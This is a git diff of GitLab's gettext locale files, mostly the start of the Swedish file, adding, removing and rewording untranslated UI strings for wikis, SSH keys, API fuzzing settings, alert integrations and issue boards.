+msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "WikiPageEdit|Update %{pageTitle}"
+msgid "WikiPage|Update %{pageTitle}"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -34042,9 +34885,6 @@ msgstr ""
msgid "Wiki|Create New Page"
msgstr ""
-msgid "Wiki|Create page"
-msgstr ""
-
msgid "Wiki|Created date"
msgstr ""
@@ -34057,9 +34897,6 @@ msgstr ""
msgid "Wiki|Page history"
msgstr ""
-msgid "Wiki|Page title"
-msgstr ""
-
msgid "Wiki|Page version"
msgstr ""
@@ -34120,6 +34957,9 @@ msgstr ""
msgid "Write a comment…"
msgstr ""
+msgid "Write a description or drag your files here…"
+msgstr ""
+
msgid "Write milestone description..."
msgstr ""
@@ -34276,6 +35116,12 @@ msgstr ""
msgid "You can create a new one or check them in your %{pat_link_start}personal access tokens%{pat_link_end} settings"
msgstr ""
+msgid "You can create a new one or check them in your %{ssh_key_link_start}SSH keys%{ssh_key_link_end} settings."
+msgstr ""
+
+msgid "You can create a new one or check them in your SSH keys settings %{ssh_key_link}."
+msgstr ""
+
msgid "You can create a new one or check them in your personal access tokens settings %{pat_link}"
msgstr ""
@@ -34417,6 +35263,9 @@ msgstr ""
msgid "You do not have permission to access deployment frequencies"
msgstr ""
+msgid "You do not have permission to access dora metrics."
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -34501,9 +35350,6 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
-msgid "You have insufficient permissions to create an on-call rotation for this project"
-msgstr ""
-
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
@@ -34540,12 +35386,6 @@ msgstr ""
msgid "You have successfully purchased a %{plan} plan subscription for %{seats}. You’ll receive a receipt via email."
msgstr ""
-msgid "You haven't added any issues to your project yet"
-msgstr ""
-
-msgid "You haven't selected any issues yet"
-msgstr ""
-
msgid "You left the \"%{membershipable_human_name}\" %{source_type}."
msgstr ""
@@ -34579,7 +35419,7 @@ msgstr ""
msgid "You must select a stack for configuring your cloud provider. Learn more about"
msgstr ""
-msgid "You must set up incoming email before it becomes active."
+msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
msgid "You must upload a file with the same file name when dropping onto an existing design."
@@ -34594,9 +35434,6 @@ msgstr ""
msgid "You need permission."
msgstr ""
-msgid "You need to be logged in."
-msgstr ""
-
msgid "You need to register a two-factor authentication app before you can set up a device."
msgstr ""
@@ -34780,12 +35617,18 @@ msgstr ""
msgid "Your Public Email will be displayed on your public profile."
msgstr ""
+msgid "Your SSH key has expired"
+msgstr ""
+
msgid "Your SSH key was deleted"
msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
+msgid "Your SSH keys with the following fingerprints has expired:"
+msgstr ""
+
msgid "Your To-Do List"
msgstr ""
@@ -34906,6 +35749,9 @@ msgstr ""
msgid "Your license is valid from"
msgstr ""
+msgid "Your license was successfully synced."
+msgstr ""
+
msgid "Your license will be included in your GitLab backup and will survive upgrades, so in normal usage you should never need to re-upload your %{code_open}.gitlab-license%{code_close} file."
msgstr ""
@@ -34999,7 +35845,7 @@ msgstr ""
msgid "[No reason]"
msgstr ""
-msgid "[Unchanged]"
+msgid "[Redacted]"
msgstr ""
msgid "`end_time` should not exceed one month after `start_time`"
@@ -35107,6 +35953,9 @@ msgstr ""
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't include: %{invalid_storages}"
+msgstr ""
+
msgid "cannot be a date in the past"
msgstr ""
@@ -35410,6 +36259,15 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user}"
+msgstr ""
+
+msgid "created %{timeAgoString} by %{user} in Jira"
+msgstr ""
+
msgid "created %{timeAgo}"
msgstr ""
@@ -35599,6 +36457,9 @@ msgstr ""
msgid "http:"
msgstr ""
+msgid "http://www.example.com"
+msgstr ""
+
msgid "https://your-bitbucket-server"
msgstr ""
@@ -35770,7 +36631,7 @@ msgstr ""
msgid "manual"
msgstr ""
-msgid "math|The math in this entry is taking too long to render and may not be displayed as expected. For performance reasons, math blocks are also limited to %{maxChars} characters. Consider splitting up large formulae, splitting math blocks among multiple entries, or using an image instead."
+msgid "math|Displaying this math block may cause performance issues on this page"
msgstr ""
msgid "math|There was an error rendering this math block"
@@ -35806,13 +36667,10 @@ msgstr ""
msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetNothingToMerge|Currently there are no changes in this merge request's source branch. Please push new commits or use a different branch."
-msgstr ""
-
-msgid "mrWidgetNothingToMerge|Interested parties can even contribute by pushing commits if they want to."
+msgid "mrWidgetNothingToMerge|This merge request contains no changes."
msgstr ""
-msgid "mrWidgetNothingToMerge|Merge requests are a place to propose changes you have made to a project and discuss those changes with others."
+msgid "mrWidgetNothingToMerge|Use merge requests to propose changes to your project and discuss them with your team. To make changes, push a commit or edit this merge request to use a different branch. With %{linkStart}CI/CD%{linkEnd}, automatically test your changes before merging."
msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
@@ -35926,9 +36784,6 @@ msgstr ""
msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
msgstr ""
-msgid "mrWidget|If the %{branch} branch exists in your local repository, you can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -36079,18 +36934,12 @@ msgstr ""
msgid "mrWidget|You can merge after removing denied licenses"
msgstr ""
-msgid "mrWidget|You can merge this merge request manually using the"
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
msgid "mrWidget|branch does not exist."
msgstr ""
-msgid "mrWidget|command line"
-msgstr ""
-
msgid "mrWidget|into"
msgstr ""
@@ -36121,9 +36970,6 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must be later than active period start"
-msgstr ""
-
msgid "must contain only valid frameworks"
msgstr ""
@@ -36190,15 +37036,6 @@ msgstr ""
msgid "open issue"
msgstr ""
-msgid "opened %{timeAgoString} by %{email} via %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user}"
-msgstr ""
-
-msgid "opened %{timeAgoString} by %{user} in Jira"
-msgstr ""
-
msgid "opened %{timeAgo}"
msgstr ""
@@ -36481,9 +37318,6 @@ msgstr ""
msgid "to join %{source_name}"
msgstr ""
-msgid "to list"
-msgstr ""
-
msgid "toggle collapse"
msgstr ""
@@ -36529,6 +37363,12 @@ msgstr ""
msgid "v%{version} published %{timeAgo}"
msgstr ""
+msgid "value for '%{storage}' must be an integer"
+msgstr ""
+
+msgid "value for '%{storage}' must be between 0 and 100"
+msgstr ""
+
msgid "verify ownership"
msgstr ""
diff --git a/locale/sv_SE/gitlab.po b/locale/sv_SE/gitlab.po
index 9419498256d..f6d07886971 100644
--- a/locale/sv_SE/gitlab.po
+++ b/locale/sv_SE/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: sv-SE\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-03-05 23:58\n"
+"PO-Revision-Date: 2021-04-02 00:20\n"
-msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
+msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
msgstr ""
msgid " %{start} to %{end}"
@@ -120,6 +120,11 @@ msgid_plural "%d changed files"
msgstr[0] ""
msgstr[1] ""
+msgid "%d character remaining"
+msgid_plural "%d characters remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d child epic"
msgid_plural "%d child epics"
msgstr[0] ""
@@ -203,6 +208,11 @@ msgid_plural "%d failed security jobs"
msgstr[0] ""
msgstr[1] ""
+msgid "%d file"
+msgid_plural "%d files"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d fixed test result"
msgid_plural "%d fixed test results"
msgstr[0] ""
@@ -392,6 +402,9 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -404,6 +417,11 @@ msgstr ""
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -430,19 +448,9 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%{count} more"
msgstr ""
@@ -537,7 +545,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr ""
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -930,6 +938,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1063,6 +1074,9 @@ msgstr[1] ""
msgid "+%{approvers} more approvers"
msgstr ""
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1143,6 +1157,11 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1163,6 +1182,16 @@ msgid_plural "%d hours"
msgstr[0] ""
msgstr[1] ""
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] ""
@@ -1173,6 +1202,11 @@ msgid_plural "%d minutes"
msgstr[0] ""
msgstr[1] ""
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] ""
@@ -1198,6 +1232,16 @@ msgid_plural "%{num} users"
msgstr[0] ""
msgstr[1] ""
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "1-9 contributions"
msgstr ""
@@ -1315,9 +1359,6 @@ msgstr ""
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr ""
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr ""
@@ -1327,13 +1368,10 @@ msgstr ""
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1408,9 +1446,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr ""
@@ -1429,13 +1464,25 @@ msgstr ""
msgid "API Token"
msgstr ""
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|/folder/example_file.json"
+msgstr ""
+
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1447,6 +1494,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1459,16 +1509,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1477,16 +1530,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1519,9 +1572,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1699,6 +1749,9 @@ msgstr ""
msgid "Account: %{account}"
msgstr ""
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1729,11 +1782,6 @@ msgstr ""
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1779,6 +1827,9 @@ msgstr ""
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr ""
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1854,6 +1905,9 @@ msgstr ""
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1881,9 +1935,6 @@ msgstr ""
msgid "Add image comment"
msgstr ""
-msgid "Add issues"
-msgstr ""
-
msgid "Add italic text"
msgstr ""
@@ -1911,6 +1962,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr ""
@@ -1929,6 +1983,9 @@ msgstr ""
msgid "Add to Slack"
msgstr ""
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -2022,6 +2079,9 @@ msgstr ""
msgid "Additional text"
msgstr ""
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr ""
@@ -2049,6 +2109,9 @@ msgstr ""
msgid "Admin Area"
msgstr ""
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2190,9 +2253,6 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr ""
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
@@ -2628,6 +2688,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2675,6 +2741,9 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2837,6 +2906,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2852,13 +2927,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2867,25 +2945,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2900,24 +2981,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2927,6 +3020,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2936,9 +3032,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2975,7 +3068,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3065,9 +3161,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3131,6 +3224,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3158,6 +3254,9 @@ msgstr ""
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3215,6 +3314,9 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3338,6 +3440,9 @@ msgstr ""
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr ""
@@ -3350,9 +3455,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr ""
@@ -3443,7 +3545,7 @@ msgstr ""
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3581,9 +3683,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3785,6 +3884,9 @@ msgstr ""
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3808,6 +3910,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3817,6 +3922,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3826,9 +3934,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3966,6 +4071,12 @@ msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
msgstr[1] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr ""
@@ -4026,6 +4137,12 @@ msgstr ""
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr ""
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr ""
@@ -4068,13 +4185,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4501,6 +4618,9 @@ msgstr ""
msgid "Average per day: %{average}"
msgstr ""
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4603,6 +4723,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4621,6 +4744,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr ""
@@ -4645,7 +4771,7 @@ msgstr ""
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
@@ -4779,6 +4905,9 @@ msgstr[1] ""
msgid "Blocked issue"
msgstr ""
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4809,6 +4938,11 @@ msgstr ""
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
